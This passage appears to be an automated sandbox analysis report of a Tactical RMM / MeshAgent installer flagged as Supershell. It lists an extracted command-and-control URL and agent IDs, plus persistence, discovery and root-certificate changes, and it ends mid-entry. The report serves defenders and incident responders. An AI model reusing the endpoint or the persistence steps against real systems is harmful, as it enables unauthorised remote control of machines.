weekFRAME_SIZE_ERRORFile Not Found: FindFirstStreamWFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdipDisposeImageGetAsyncKeyStateGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleWindowGetCurrentActCtxGetCurrentThreadGetDesktopWindowGetFullPathNameWGetGUIThreadInfoGetKeyboardStateGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetModuleHandleWGetNamedPipeInfoGetOpenFileNameWGetPriorityClassGetSaveFileNameWGetSysColorBrushGetSystemMetricsHiberbootEnabledImageList_CreateImageList_RemoveImperial_AramaicInstRuneAnyNotNLIsDialogMessageWMapVirtualKeyExWMeroitic_CursiveMissing new_nameMissing old_nameMonitorFromPointMultiple ChoicesNATS reconnectedNatsPingIntervalNatsStandardPortNetApiBufferFreeNetLocalGroupAddNetLocalGroupDelNtSuspendProcessOpenProcessTokenOther_AlphabeticPayment RequiredProxy-ConnectionRCodeFormatErrorRead after CloseRegQueryInfoKeyWRegQueryValueExWRegisterClassExWRegistrationInfoRemoveDirectoryWRtlGetCurrentPebSETTINGS_TIMEOUTSHA-512-256-sessSafeArrayDestroySeDebugPrivilegeSetClassLongPtrWSetClipboardDataSetDllDirectoryWSetEntriesInAclWSetFilePointerExSetFileValidDataSetMenuItemInfoWSetPriorityClassSetServiceStatusSignatureScheme(System32\cmd.exeTactical RMM v%sTerminateProcessTrackPopupMenuExTranslateMessageUnregisterClassWUpgrade RequiredUse a http proxyUser-Agent: %s VirtualProtectExWWW-AuthenticateWinVerifyTrustExWorkingDirectoryWww-AuthenticateZanabazar_Square runtime stack:
Extracted
-
meshagent
-
2
-
TacticalRMM
-
http://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
-
mesh_id
0x841F73B273680CE972E11DE4D9D860D4133570D0EF3A311AF0D1771A0BBA5B35A9BF1E3D443531CDC25CC082246639BE
-
server_id
4A595DA5DCFB8F4667B26A40509C81FFD5CC8C6E5173C8B4599AC0EDAD4DE774F0BA8F55C6AA291179B45E62FBE4AD3F
-
wss
wss://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
Signatures
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Detects MeshAgent payload 1 IoCs
resource yara_rule behavioral1/files/0x00080000000246c0-26.dat family_meshagent - Detects executables containing URLs to raw contents of a Github gist 2 IoCs
resource yara_rule behavioral1/memory/1164-3980-0x0000023725070000-0x0000023725BE8000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral1/files/0x0009000000025360-3719.dat INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 103 2068 powershell.exe 104 2284 powershell.exe 106 2068 powershell.exe 107 4640 powershell.exe 112 4640 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" " meshagent.exe - Executes dropped EXE 16 IoCs
pid Process 5260 tacticalagent-v2.11.0-windows-amd64.exe 5052 tacticalagent-v2.11.0-windows-amd64.tmp 5276 tacticalrmm.exe 5044 tacticalrmm.exe 4852 meshagent.exe 1620 MeshAgent.exe 1824 MeshAgent.exe 3228 MeshAgent.exe 5780 tacticalrmm.exe 5920 tacticalrmm.exe 6052 tacticalrmm.exe 4560 tacticalrmm.exe 4824 MeshAgent.exe 1048 MeshAgent.exe 1164 choco.exe 6008 choco.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 42 icanhazip.com 43 icanhazip.com 73 icanhazip.com 74 icanhazip.com - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\4D19361C1E7B229FDD75EF5C063C1EB9E822E33B MeshAgent.exe File opened for modification C:\Windows\System32\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\shcore.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\4D19361C1E7B229FDD75EF5C063C1EB9E822E33B MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\4A80361DDEED83C1E9680FEE27DE574FA2FBD7E4 MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\A38CF86B86C65A6FBB251E20F4F7B276BB12F2F6 MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\bcryptprimitives.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\1770E2E2DA2C4EC236C80ED5BB9D0EBE674600CA MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\1770E2E2DA2C4EC236C80ED5BB9D0EBE674600CA MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\System32\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\1770E2E2DA2C4EC236C80ED5BB9D0EBE674600CA tacticalrmm.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\choco.exe.log choco.exe File opened for modification C:\Windows\System32\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\apphelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\combase.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\urllib3\_base_connection.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysnmp\proto\secmod\rfc3826\__init__.py tacticalrmm.exe File opened for modification C:\Program Files\Mesh Agent\gdiplus.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\command\build_ext.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\debug.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\cachecontrol\caches\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysnmp_pysmi-1.1.12.dist-info\RECORD tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\REQUESTED tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\urllib3\util\ssl_.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Util\__init__.py tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cffi-2.0.0.dist-info\top_level.txt tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\HMAC.pyi tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\SelfTest\PublicKey\test_ECC_Ed25519.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\gui.exe tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\anyio\streams\memory.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\rich\errors.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\RECORD tacticalrmm.exe File opened for modification C:\Program Files\Mesh Agent\Kernel.Appcore.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\more_itertools-10.8.0.dist-info\RECORD tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\validators\i18n\ind.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\_multiprocessing.pyd tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pythonwin\pywin\Demos\ocx\flash.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\command\config.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32com\demos\eventsApartmentThreaded.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\requests\status_codes.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\ucrtbase.dll tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Math\_modexp.pyd tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\BLAKE2b.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Protocol\KDF.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cryptography\hazmat\bindings\_rust\openssl\keys.pyi tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\IO\_PBES.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\charset_normalizer-3.4.7.dist-info\top_level.txt tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cryptography\hazmat\bindings\_rust\openssl\mlkem.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\packaging\LICENSE.APACHE tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32com\include\PythonCOMRegister.h tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\adodbapi\adodbapi.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\truststore\_ssl_constants.py tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\_ghash_clmul.pyd tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\PublicKey\_nist_ecc.py tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Signature\eddsa.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\cachecontrol\LICENSE.txt tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pythonwin\pywin\Demos\demoutils.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\tests\unix_compat.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_psaix.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\websockets-16.0.dist-info\licenses\LICENSE tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\charset_normalizer-3.4.7.dist-info\RECORD tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\anyio\lowlevel.py tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\SelfTest\Cipher\test_CTR.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\httpcore\_api.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\tomli-2.4.0.dist-info\INSTALLER tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\urllib3\http2\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Cipher\_mode_kwp.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Signature\pss.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\h11-0.16.0.dist-info\INSTALLER tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_internal\models\format_control.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\distlib\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\rich\columns.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\importlib_metadata\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\win32clipboard.pyd tacticalrmm.exe File opened for modification C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Util\strxor.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\requests\LICENSE tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32comext\shell\demos\walk_shell_folders.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Cipher\ChaCha20_Poly1305.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_internal\models\scheme.py tacticalrmm.exe -
pid Process 980 powershell.exe 2284 powershell.exe 4640 powershell.exe 2528 powershell.exe 2068 powershell.exe - Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe - System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5636 cmd.exe 5648 PING.EXE - Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
resource yara_rule behavioral1/files/0x00020000000232ba-2.dat innosetup behavioral1/memory/5260-3-0x0000000000920000-0x0000000000A02000-memory.dmp innosetup behavioral1/memory/5260-22-0x0000000000920000-0x0000000000A02000-memory.dmp innosetup - Kills process with taskkill 1 IoCs
pid Process 5824 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs tacticalrmm.exe Key created 